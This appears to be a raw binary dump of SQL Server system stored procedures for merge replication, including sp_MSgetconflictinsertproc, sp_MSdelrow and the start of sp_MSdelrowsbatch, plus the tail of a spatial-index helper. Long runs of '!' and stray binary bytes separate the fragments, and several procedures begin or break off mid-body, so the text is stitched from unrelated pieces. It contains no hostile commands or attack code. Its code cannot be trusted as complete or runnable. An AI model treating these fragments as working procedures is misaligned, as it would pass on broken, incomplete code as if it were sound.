			@minx, @miny, @maxx, @maxy,
			@gridsize1, @gridsize2, @gridsize3, @gridsize4,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput;

		DROP TABLE #temp_window_object_tessellation;
	END
	ELSE
	BEGIN
		-- distinct SRIDs
		DECLARE @distinct_srids BIGINT;
		SET @execstr = N'SELECT @distinct_srids=COUNT(DISTINCT ' + QUOTENAME(@colname, N']') + '.STSrid) FROM ' + @quoted_table_name;
		SET @param_def = '@distinct_srids BIGINT OUTPUT';
		EXEC sp_executesql @execstr, @param_def, @distinct_srids OUTPUT;

		CREATE TABLE #temp_window_object_tessellation_auto(id BINARY(5), attr TINYINT, limitid BINARY(5))

		INSERT INTO #temp_window_object_tessellation_auto
		SELECT id, attr, limitid FROM Sys.GeodeticTessellation(@window, @cells_per_object, 9, 1, NULL)

		EXEC sys.sp_help_spatial_index_internal_auto
			@minx, @miny, @maxx, @maxy,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@ver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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<)ǧ0 8
/* Add the conflict table pointer to dbo.sysmergearticles - Used by reconciler */
create procedure sys.sp_MSgetconflictinsertproc (
    @artid              uniqueidentifier,
    @pubid              uniqueidentifier = NULl,
    @output int = 1,
    @force_generate_proc bit = 0
    ) AS
    declare @conflict_table sysname
    declare @conflict_proc  sysname
	declare @quoted_conflict_proc nvarchar(258)
    declare @owner          sysname
    declare @object         sysname
    declare @retcode        int
    declare @basetableid    int
    declare @sync_objid         int
    declare @command            nvarchar(1000)
    declare @pubidstr           nvarchar(40)
    declare @dbname             sysname
    declare @conflict_table_id  int
    -- PARSENAME VARS
    declare @UnqualName     nvarchar(270)  --rightmost name node
    declare @QualName1      nvarchar(270)  
    declare @QualName2      nvarchar(270)  
    declare @qualified_conflict_proc nvarchar(300)
    -- END PARSENAME VARS

    declare @guidstr varchar(40)
    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @artid = @artid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    /*
    ** @pubid is NULL - means that subscriber is 7.0, in which case there is no
    ** vertical partitioning allowed. getting the proc from any publication is fine.
    */
    select @conflict_table = conflict_table, @conflict_proc = ins_conflict_proc, 
            @basetableid = objid, @sync_objid = sync_objid 
    from dbo.sysmergearticles where artid = @artid and (pubid=@pubid OR @pubid is NULL)

    if @@ERROR <> 0
        return (1)

    select @conflict_table_id = object_id(@conflict_table)
    if @conflict_table_id is NULL  --check if it is caused by different owner name
        select @conflict_table_id=object_id from sys.objects where name=@conflict_table

    if ( @conflict_table_id is not null)
    begin           
        select @UnqualName = PARSENAME(@conflict_table, 1)
        select @QualName1 = PARSENAME(@conflict_table, 2)
        if @UnqualName IS NULL
             return 1
        
        -- fixup for variable length differences.  remove when vars expanded
        -- to new SQL SERVER 7.0 lengths

        select @owner=SCHEMA_NAME(schema_id) from sys.objects where object_id= @conflict_table_id
        if @owner is NULL
        begin
            select @owner =  @QualName1
        end
        select @object = @UnqualName
    end
    
    -- Create an index on the conflict table if it doesn't have one
    if ( @conflict_table_id is not null) and
        not exists (select * from sys.indexes where object_id = @conflict_table_id and index_id = 1)
    begin
        declare @rgcol nvarchar(258)
        declare @indname nvarchar(270)
        declare @quotedname nvarchar(517)
        
        select @rgcol = QUOTENAME(name) from sys.columns where object_id = @basetableid and is_rowguidcol = 1
        select @indname = 'uc_' + @conflict_table
        if len(@indname) > 128
        begin
            select @indname = substring(@indname,1,92) + convert(nvarchar(36), newid())
        end
        set @indname = QUOTENAME(@indname)
        set @quotedname = QUOTENAME(@owner) + '.' + QUOTENAME(@conflict_table)
        
        if exists (select * from sys.columns where object_id = @conflict_table_id and quotename(name) = @rgcol)
                and exists (select * from sys.columns where object_id = @conflict_table_id and name = 'origin_datasource')
        begin
            exec ('Create unique clustered index ' + @indname + ' on ' + @quotedname +
                    ' (' + @rgcol + ', origin_datasource)' )
            if @@error <> 0
                return (1)
        end
    end

    if @force_generate_proc = 1 and OBJECT_ID(@conflict_proc) is not NULL and (@conflict_table_id is not null)
    begin
        -- conflict proc should be owned by dbo. if not the object_id clause above would not have returned the proc name.
        -- I do not want to add the sys.objects query here to get the schama owner of the conflict proc because too many
        -- sys.objects queries causes deadlocks with sys.sysschobjs metadata table
		select @quoted_conflict_proc = quotename(@conflict_proc)
        exec ('drop proc ' + @conflict_proc)
        if @@error<>0
            return (1)
    end
    
    if ((OBJECT_ID(@conflict_proc) is null) and (@conflict_table_id is not null))
    begin
        -- first set up the procedure name variable

        exec @retcode = sys.sp_MSguidtostr @artid, @guidstr out
        if @@ERROR <>0 OR @retcode <>0 return (1)

        exec @retcode = sys.sp_MSguidtostr @pubid, @pubidstr out
        if @@ERROR <>0 OR @retcode <>0 return (1)

        if @pubid is not NULL
            select @conflict_proc = 'MSmerge_cft_sp_' + substring(@guidstr, 1, 16) + substring(@pubidstr, 1, 16)
        else
            select @conflict_proc = 'MSmerge_cft_sp_' + substring(@guidstr, 1, 32) 

        set @dbname = db_name()
        if @owner is NULL
            set @command = 'sys.sp_MSmakeconflictinsertproc ' + QUOTENAME(@conflict_table) + ' , NULL , ' + quotename(@conflict_proc)  + ' , ' + convert(nvarchar,@basetableid)
        else
            set @command = 'sys.sp_MSmakeconflictinsertproc ' + QUOTENAME(@conflict_table) + ' , ' + QUOTENAME(@owner) + ' , ' + quotename(@conflict_proc)  + ' , ' + convert(nvarchar,@basetableid) 

        if @pubid is not NULL
            set @command = @command + ', [' + convert(nchar(36), @pubid) + ']'
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode<>0 or object_id(@conflict_proc) is NULL
        begin
            return (1)
        end
        exec @retcode = sys.sp_MS_marksystemobject  @conflict_proc 
        if @@ERROR<>0 or @retcode<>0  return (1)
		select @command = 'grant exec on ' + quotename(@conflict_proc) + ' to public'
		exec(@command)
        if @@ERROR<>0 return (1)
        
        update dbo.sysmergearticles set ins_conflict_proc = @conflict_proc where artid = @artid and (pubid=@pubid OR @pubid is NULL)
    end

    if @output = 1
        select @conflict_table, @conflict_proc
    if @@ERROR <> 0
        return (1)
    return (0)
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(V_UvQUOTENAME(@colname) -- rowguid or [rg] like
    end
    else if (@colname = 'origin_datasource_id')
    begin
        select @wherepc =@wherepc +  ' and info.origin_datasource = ' + @argname
        select @typename = ' nvarchar(255) '
        select @original_datasourcecol = @argname; -- @px
        set @noset =1
    end
    set @colname = QUOTENAME(@colname)

    -- 1st piece
    if @arglist is null
    begin
        set @arglist = @argname + ' ' + @schname + @typename
        --give default value of NULL to new merge columns for backward compatibility concern
        insert into #tempcmd (phase, cmdtext) values (3, @colname)
        select @header = ') values ('
        insert into #tempcmd (phase, cmdtext) values (4, @header)
        insert into #tempcmd (phase, cmdtext) values (4, nchar(13)+nchar(10)+@argname)
        -- this is update case
        if @noset=0
        begin
            insert into #tempcmd (phase, cmdtext) values (1, @colname + ' = ' + @argname)
        end
    end
    -- consecutive piece
    else 
    begin
        if len(@arglist)>3700
        begin
            insert into #tempcmd (phase, cmdtext) values (0,  @arglist)            
            select @arglist = ' '
        end
        set @arglist = @arglist + ', 
        ' + @argname + ' ' + @schname + @typename

        -- 3 and 4 are for insert part
        insert into #tempcmd (phase, cmdtext) values (3, ',
        ' + @colname)

        if (@argname = @original_datasourcecol)
            select @argname=' @source_id '
        insert into #tempcmd (phase, cmdtext) values (4, ',
        ' + @argname) -- source id case

         -- 1 is for update part
        if @noset =0
            begin
                if exists (select * from #tempcmd where phase=1)
                    insert into #tempcmd (phase, cmdtext) values (1, ',
        ' + @colname + ' = ' + @argname)
                else
                    insert into #tempcmd (phase, cmdtext) values (1, @colname + ' = ' + @argname)
            end
        end
NEXT_COL:
    if @sys_loop =1
        select @colid = min(column_id) from sys.columns where object_id = @id and is_computed<>1 and user_type_id <> type_id('timestamp')
            and name not in (select name from sys.columns where object_id=@basetableid)
            and column_id>@colid
    else
        select @colid = min(column_id) from sys.columns where object_id = @id and is_computed<>1 and user_type_id <> type_id('timestamp')
            and name in (select name from sys.columns where object_id=@basetableid)
            and column_id>@colid

    set @colname = NULL

    select top 1 @colname = C.name, 
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id), 
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                             then QUOTENAME(S.name)+'.' else '' end, 
    @prec = C.precision, 
    @scale = C.scale,
    @user_type_id = C.user_type_id
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @id and C.column_id = @colid

end

if @sys_loop = 0
begin
    select @sys_loop = 1
    select @colid = min(column_id) from sys.columns where object_id = @id and is_computed<>1 and user_type_id <> type_id('timestamp')
        and name not in (select name from sys.columns where object_id=@basetableid)

    select top 1 @colname = C.name, 
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id),
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                                then QUOTENAME(S.name)+'.' else '' end, 
    @prec = C.precision, 
    @scale = C.scale,
    @user_type_id = C.user_type_id
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @id and C.column_id = @colid

    goto Reverse_Order
end

insert into #tempcmd (phase, cmdtext) values (0,  @arglist)            
select @arglist = ', @conflict_type int,  @reason_code int,  @reason_text nvarchar(720)'
insert into #tempcmd (phase, cmdtext) values (0,  @arglist)            
select @arglist = ', @pubid uniqueidentifier, @create_time datetime = NULL'
insert into #tempcmd (phase, cmdtext) values (0,  @arglist)        
select @arglist = ', @tablenick int = 0, @source_id uniqueidentifier = NULL, @check_conflicttable_existence bit = 0 '
insert into #tempcmd (phase, cmdtext) values (0,  @arglist)        

select @header =  ') as
declare @retcode int
-- security check
exec @retcode = sys.sp_MSrepl_PAL_rolecheck @objid = ' + @idstr + ', @pubid = ' + @pubidstr + '
if @@error <> 0 or @retcode <> 0 return 1 '
insert into #tempcmd (phase, cmdtext) values (0,  @header)

-- If the subscriber database was upgraded to Yukon, and we now use conflict logging on both sides
-- the subscriber database might not have the conflict logging table.
-- We then return without error.
set @header='
if 1 = @check_conflicttable_existence
begin
    if ' + cast(@id as nvarchar) + ' is null return 0
end
'
insert into #tempcmd (phase, cmdtext) values (0,  @header)

--select @header = ' if @source_id is NULL select @source_id = newid() '
select @header = '
    if @source_id is NULL 
        select @source_id = subid from dbo.sysmergesubscriptions 
            where lower(' +  @original_datasourcecol + ') = LOWER(subscriber_server) + ''.'' + LOWER(db_name) '

insert into #tempcmd (phase, cmdtext) values (0,  @header)

-- For down level anonymous pull subscriptions, the Publisher's sysmergesubscriptions does not contain a valid entry for the Subscriber 
-- Hence the source_id might still be NULL -In that case generate a new guid 

select @header = '
    if @source_id is NULL select @source_id = newid() '
insert into #tempcmd (phase, cmdtext) values (0,  @header)

select @header =  '  
    set @create_time=getdate()
'
insert into #tempcmd (phase, cmdtext) values (0,  @header)

select @header = ' '
-- for ease of expansion here in case we add new merge columns in conflict tables.
if @create_time_col is not NULL
    select @header = @header + ' 
    select ' + @create_time_col + ' = getdate() '

select @header = @header + ' if exists (select * from MSmerge_conflicts_info info inner join ' + @qualname + ' ct 
    on ct.rowguidcol=info.rowguid and 
       ct.origin_datasource_id = info.origin_datasource_id
    ' + @wherepc + ' and info.tablenick = @tablenick)
    begin
        update ' + @qualname + ' with (rowlock) set ' 
insert into #tempcmd (phase, cmdtext) values (0,  @header)

--see comment in sp_MSinsertdeleteconflict for this <5 or >4 checking.

select @header = ' from ' + @qualname + ' ct inner join MSmerge_conflicts_info info 
        on ct.rowguidcol=info.rowguid and 
           ct.origin_datasource_id = info.origin_datasource_id' 
insert into #tempcmd (phase, cmdtext) values (2,  @header)

-- concatenate for Insert case
insert into #tempcmd (phase, cmdtext) values (4, ')')

-- concatenate for Update case
select @header = @wherepc + ' and info.tablenick = @tablenick
'
insert into #tempcmd (phase, cmdtext) values (2,  @header)


select @header='
    end
    else
    begin
        insert into ' + @qualname + ' ('
insert into #tempcmd (phase, cmdtext) values (2,  @header)

insert into #tempcmd (phase, cmdtext) values (4, '
    end') -- finishing scope for insert+insert_update

select @header='
    
    if exists (select * from MSmerge_conflicts_info info where tablenick=@tablenick and rowguid=' 
    + @guid_colname + ' and info.origin_datasource= ' + @original_datasourcecol + ' and info.conflict_type not in (4,7,8,12))
    begin
        update MSmerge_conflicts_info!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	vGp
create procedure sys.sp_MSdelrow 
    (@rowguid       uniqueidentifier,
    @tablenick  int,
    @metadata_type tinyint, /* 0 - Missing, 1 - Tombstone, 2 - Contents, 3 - ContentsDeferred, 6 - system delete */
    @lineage_old varbinary(311),
    @generation bigint,
    @lineage_new varbinary(311),
    @pubid uniqueidentifier = NULL,
    @check_permission int = 0,
    @compatlevel int = 10,      -- backward compatibility level, default=Sphinx
    @articleisupdateable bit = 1,
    @publication_number smallint = NULL,
    @partition_id int = NULL
    )
as
    set nocount on
    declare @match          int
    declare @new_metatype   tinyint
    declare @retcode        smallint
    declare @errcode        int
    declare @procname       sysname
    declare @objid          int
    declare @permissions    int
    declare @logical_record_parent_nickname     int
    declare @partition_options tinyint
        
    /* Parameter validation */
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSdelrow')
        return (0)
    end
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSdelrow')
        return (0)
    end
    
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 4
        
    if @check_permission =1
    begin
        select @objid=objid, @permissions= check_permissions from dbo.sysmergearticles 
            where nickname=@tablenick and (pubid is NULL or pubid=@pubid)
        if @objid is NULL
            return (0)

        exec @retcode = sys.sp_MSreplcheck_permission @objid = @objid, @type = 3, @permissions = @permissions
        if @retcode<>0 or @@ERROR<>0 return (4)
    end

    if 1 = @articleisupdateable and @lineage_new is not null
    begin
        if @compatlevel < 90
        begin
            set @lineage_new= {fn LINEAGE_80_TO_90(@lineage_new)}
            if @lineage_old is not null
                set @lineage_old= {fn LINEAGE_80_TO_90(@lineage_old)}
        end

        -- Are we just changing the type of a tombstone?
        -- This routine is only called for Upload; won't be type 5 (remove from partial) unless
        -- subscriber has a user delete and found an existing metadata type of 5 here.
        -- In that case, set delete type to 1 and update generation, reason text too.
        if (@metadata_type = 5)
        begin
            if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
            begin
                update dbo.MSmerge_tombstone set type = @metadata_type, generation = @generation, lineage = @lineage_new where
                  rowguid = @rowguid and tablenick = @tablenick
                return 1
            end
        end
        -- Are we just changing the type of a tombstone?
        else if (@metadata_type = 6)
        begin
            if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
            begin
                update dbo.MSmerge_tombstone set type = @metadata_type,
                    generation = @generation, lineage = @lineage_new where
                    rowguid = @rowguid and tablenick = @tablenick
                return 1
            end
        end
    end

    -- begin transaction and lock row that we plan to delete
    begin transaction
    save tran sp_MSdelrow

    declare @rowcount int

    select @procname = 'dbo.' + select_proc, @logical_record_parent_nickname = logical_record_parent_nickname,
        @partition_options = partition_options
    from dbo.sysmergepartitioninfoview
    where nickname = @tablenick 
    and pubid = @pubid
    
    if @partition_options = 2
    begin
        -- if this is a republisher of this article, and we are currently
        -- downloading from the top-level publisher, then pretend that this is 
        -- not a well-partitioned article. This is done such that the partition evaluation
        -- and setrowmetadata is done appropriately.
         if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
            and exists (select * from dbo.sysmergearticles 
                            where nickname = @tablenick
                            and sys.fn_MSmerge_islocalpubid(pubid) = 1)
            select @partition_options = 0
    end
    
    /*
    exec @retcode = @procname @maxschemaguidforarticle = NULL, @type =8, @rowguid=@rowguid
    IF @@ERROR<>0 or @retcode<>0
    begin
        set @errcode= 0
        goto Failure
    end
    */


    if 1 = @articleisupdateable
    begin
        select @match = NULL

        if @metadata_type = 5
        begin
            set @new_metatype = 5
        end
        else if @metadata_type = 6
        begin
            set @new_metatype = 6
        end
        else
        begin
            /*
            -- call sp_MScheckmetadatamatch with @compatlevel=90, because sp_MSdelrow already
            -- did the map-up if needed
            exec @retcode=sys.sp_MScheckmetadatamatch 
                @metatype=@metadata_type, @rowguid=@rowguid, @tablenick=@tablenick, 
                @lineage=@lineage_old, @match=@match output, @compatlevel=90, @lineage_new=@lineage_new, 
                @new_type_contents=0
            IF @@ERROR<>0 or @retcode<>0
            begin
                set @errcode= 0
                goto Failure
            end
            */
            
            if @logical_record_parent_nickname = @tablenick
                select @match = 1

            set @new_metatype = 1
        end
    end
    else
    begin
        set @match= 1
    end
    
    if (@match = 1)
    begin
        -- select_proc makes a delete with @type = 5, despite its name. 
        -- we need not hold any lock on the row. Instead we will detect that if we could not delete the row
        -- we will raise an error
        exec @retcode = @procname 
                                                                  NULL, /* @maxschemaguidforarticle = NULL */
                                                                  11, -- @type
                                  @rowguid, -- @rowguid
                                  1, -- @enumentirerowmetadata not used
                                  0, -- @blob_cols_at_the_end not used
                                  '00000000-0000-0000-0000-000000000000', -- @logical_record_parent_rowguid not used
                                  0, -- @metadata_type
                                  NULL, -- @lineage_old
                                  @rowcount output
        if @retcode<>0
        begin
            set @errcode= 0
            goto Failure
        end
        
        if @rowcount <> 1
        begin
            set @errcode= 3
            goto Failure
        end
    end
    else if @match is NULL
    begin
        -- we need to do a metadatacheck in the delete proc
        exec @retcode = @procname 
                          NULL, /* @maxschemaguidforarticle = NULL */
                          11, -- @type
                          @rowguid, -- @rowguid
                          1, -- @enumentirerowmetadata not used
                          0, -- @blob_cols_at_the_end not used
                          '00000000-0000-0000-0000-000000000000', -- @logical_record_parent_rowguid not used
                          @metadata_type, -- @metadata_type
                          @lineage_old, -- @lineage_old
                          @rowcount output
        if @retcode<>0
        begin
            set @errcode= 0
            goto Failure
        end
        
        if @rowcount <> 1
        begin
            set @errcode= 2
            goto Failure
        end
    end
    if @@error<>0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	}vv
create procedure sys.sp_MSdelrowsbatch (
    @pubid uniqueidentifier,
    @tablenick  int,
    @check_permission int = 0,
    @rows_tobe_deleted int,
    @partition_id int = NULL,
    @rowguid1 uniqueidentifier,
    @metadata_type1 tinyint, 
    @generation1 bigint,
    @lineage_old1 varbinary(311),
    @lineage_new1 varbinary(311),
    @rowguid2 uniqueidentifier = NULL,
    @metadata_type2 tinyint = NULL, 
    @generation2 bigint = NULL,
    @lineage_old2 varbinary(311) = NULL,
    @lineage_new2 varbinary(311) = NULL,
    @rowguid3 uniqueidentifier = NULL,
    @metadata_type3 tinyint = NULL, 
    @generation3 bigint = NULL,
    @lineage_old3 varbinary(311) = NULL,
    @lineage_new3 varbinary(311) = NULL,
    @rowguid4 uniqueidentifier = NULL,
    @metadata_type4 tinyint = NULL, 
    @generation4 bigint = NULL,
    @lineage_old4 varbinary(311) = NULL,
    @lineage_new4 varbinary(311) = NULL,
    @rowguid5 uniqueidentifier = NULL,
    @metadata_type5 tinyint = NULL, 
    @generation5 bigint = NULL,
    @lineage_old5 varbinary(311) = NULL,
    @lineage_new5 varbinary(311) = NULL,
    @rowguid6 uniqueidentifier = NULL,
    @metadata_type6 tinyint = NULL, 
    @generation6 bigint = NULL,
    @lineage_old6 varbinary(311) = NULL,
    @lineage_new6 varbinary(311) = NULL,
    @rowguid7 uniqueidentifier = NULL,
    @metadata_type7 tinyint = NULL, 
    @generation7 bigint = NULL,
    @lineage_old7 varbinary(311) = NULL,
    @lineage_new7 varbinary(311) = NULL,
    @rowguid8 uniqueidentifier = NULL,
    @metadata_type8 tinyint = NULL, 
    @generation8 bigint = NULL,
    @lineage_old8 varbinary(311) = NULL,
    @lineage_new8 varbinary(311) = NULL,
    @rowguid9 uniqueidentifier = NULL,
    @metadata_type9 tinyint = NULL, 
    @generation9 bigint = NULL,
    @lineage_old9 varbinary(311) = NULL,
    @lineage_new9 varbinary(311) = NULL,
    @rowguid10 uniqueidentifier = NULL,
    @metadata_type10 tinyint = NULL, 
    @generation10 bigint = NULL,
    @lineage_old10 varbinary(311) = NULL,
    @lineage_new10 varbinary(311) = NULL,
    @rowguid11 uniqueidentifier = NULL,
    @metadata_type11 tinyint = NULL, 
    @generation11 bigint = NULL,
    @lineage_old11 varbinary(311) = NULL,
    @lineage_new11 varbinary(311) = NULL,
    @rowguid12 uniqueidentifier = NULL,
    @metadata_type12 tinyint = NULL, 
    @generation12 bigint = NULL,
    @lineage_old12 varbinary(311) = NULL,
    @lineage_new12 varbinary(311) = NULL,
    @rowguid13 uniqueidentifier = NULL,
    @metadata_type13 tinyint = NULL, 
    @generation13 bigint = NULL,
    @lineage_old13 varbinary(311) = NULL,
    @lineage_new13 varbinary(311) = NULL,
    @rowguid14 uniqueidentifier = NULL,
    @metadata_type14 tinyint = NULL, 
    @generation14 bigint = NULL,
    @lineage_old14 varbinary(311) = NULL,
    @lineage_new14 varbinary(311) = NULL,
    @rowguid15 uniqueidentifier = NULL,
    @metadata_type15 tinyint = NULL, 
    @generation15 bigint = NULL,
    @lineage_old15 varbinary(311) = NULL,
    @lineage_new15 varbinary(311) = NULL,
    @rowguid16 uniqueidentifier = NULL,
    @metadata_type16 tinyint = NULL, 
    @generation16 bigint = NULL,
    @lineage_old16 varbinary(311) = NULL,
    @lineage_new16 varbinary(311) = NULL,
    @rowguid17 uniqueidentifier = NULL,
    @metadata_type17 tinyint = NULL, 
    @generation17 bigint = NULL,
    @lineage_old17 varbinary(311) = NULL,
    @lineage_new17 varbinary(311) = NULL,
    @rowguid18 uniqueidentifier = NULL,
    @metadata_type18 tinyint = NULL, 
    @generation18 bigint = NULL,
    @lineage_old18 varbinary(311) = NULL,
    @lineage_new18 varbinary(311) = NULL,
    @rowguid19 uniqueidentifier = NULL,
    @metadata_type19 tinyint = NULL, 
    @generation19 bigint = NULL,
    @lineage_old19 varbinary(311) = NULL,
    @lineage_new19 varbinary(311) = NULL,
    @rowguid20 uniqueidentifier = NULL,
    @metadata_type20 tinyint = NULL, 
    @generation20 bigint = NULL,
    @lineage_old20 varbinary(311) = NULL,
    @lineage_new20 varbinary(311) = NULL,
    @rowguid21 uniqueidentifier = NULL,
    @metadata_type21 tinyint = NULL, 
    @generation21 bigint = NULL,
    @lineage_old21 varbinary(311) = NULL,
    @lineage_new21 varbinary(311) = NULL,
    @rowguid22 uniqueidentifier = NULL,
    @metadata_type22 tinyint = NULL, 
    @generation22 bigint = NULL,
    @lineage_old22 varbinary(311) = NULL,
    @lineage_new22 varbinary(311) = NULL,
    @rowguid23 uniqueidentifier = NULL,
    @metadata_type23 tinyint = NULL, 
    @generation23 bigint = NULL,
    @lineage_old23 varbinary(311) = NULL,
    @lineage_new23 varbinary(311) = NULL,
    @rowguid24 uniqueidentifier = NULL,
    @metadata_type24 tinyint = NULL, 
    @generation24 bigint = NULL,
    @lineage_old24 varbinary(311) = NULL,
    @lineage_new24 varbinary(311) = NULL,
    @rowguid25 uniqueidentifier = NULL,
    @metadata_type25 tinyint = NULL, 
    @generation25 bigint = NULL,
    @lineage_old25 varbinary(311) = NULL,
    @lineage_new25 varbinary(311) = NULL,
    @rowguid26 uniqueidentifier = NULL,
    @metadata_type26 tinyint = NULL, 
    @generation26 bigint = NULL,
    @lineage_old26 varbinary(311) = NULL,
    @lineage_new26 varbinary(311) = NULL,
    @rowguid27 uniqueidentifier = NULL,
    @metadata_type27 tinyint = NULL, 
    @generation27 bigint = NULL,
    @lineage_old27 varbinary(311) = NULL,
    @lineage_new27 varbinary(311) = NULL,
    @rowguid28 uniqueidentifier = NULL,
    @metadata_type28 tinyint = NULL, 
    @generation28 bigint = NULL,
    @lineage_old28 varbinary(311) = NULL,
    @lineage_new28 varbinary(311) = NULL,
    @rowguid29 uniqueidentifier = NULL,
    @metadata_type29 tinyint = NULL, 
    @generation29 bigint = NULL,
    @lineage_old29 varbinary(311) = NULL,
    @lineage_new29 varbinary(311) = NULL,
    @rowguid30 uniqueidentifier = NULL,
    @metadata_type30 tinyint = NULL, 
    @generation30 bigint = NULL,
    @lineage_old30 varbinary(311) = NULL,
    @lineage_new30 varbinary(311) = NULL,
    @rowguid31 uniqueidentifier = NULL,
    @metadata_type31 tinyint = NULL, 
    @generation31 bigint = NULL,
    @lineage_old31 varbinary(311) = NULL,
    @lineage_new31 varbinary(311) = NULL,
    @rowguid32 uniqueidentifier = NULL,
    @metadata_type32 tinyint = NULL, 
    @generation32 bigint = NULL,
    @lineage_old32 varbinary(311) = NULL,
    @lineage_new32 varbinary(311) = NULL,
    @rowguid33 uniqueidentifier = NULL,
    @metadata_type33 tinyint = NULL, 
    @generation33 bigint = NULL,
    @lineage_old33 varbinary(311) = NULL,
    @lineage_new33 varbinary(311) = NULL,
    @rowguid34 uniqueidentifier = NULL,
    @metadata_type34 tinyint = NULL, 
    @generation34 bigint = NULL,
    @lineage_old34 varbinary(311) = NULL,
    @lineage_new34 varbinary(311) = NULL,
    @rowguid35 uniqueidentifier = NULL,
    @metadata_type35 tinyint = NULL, 
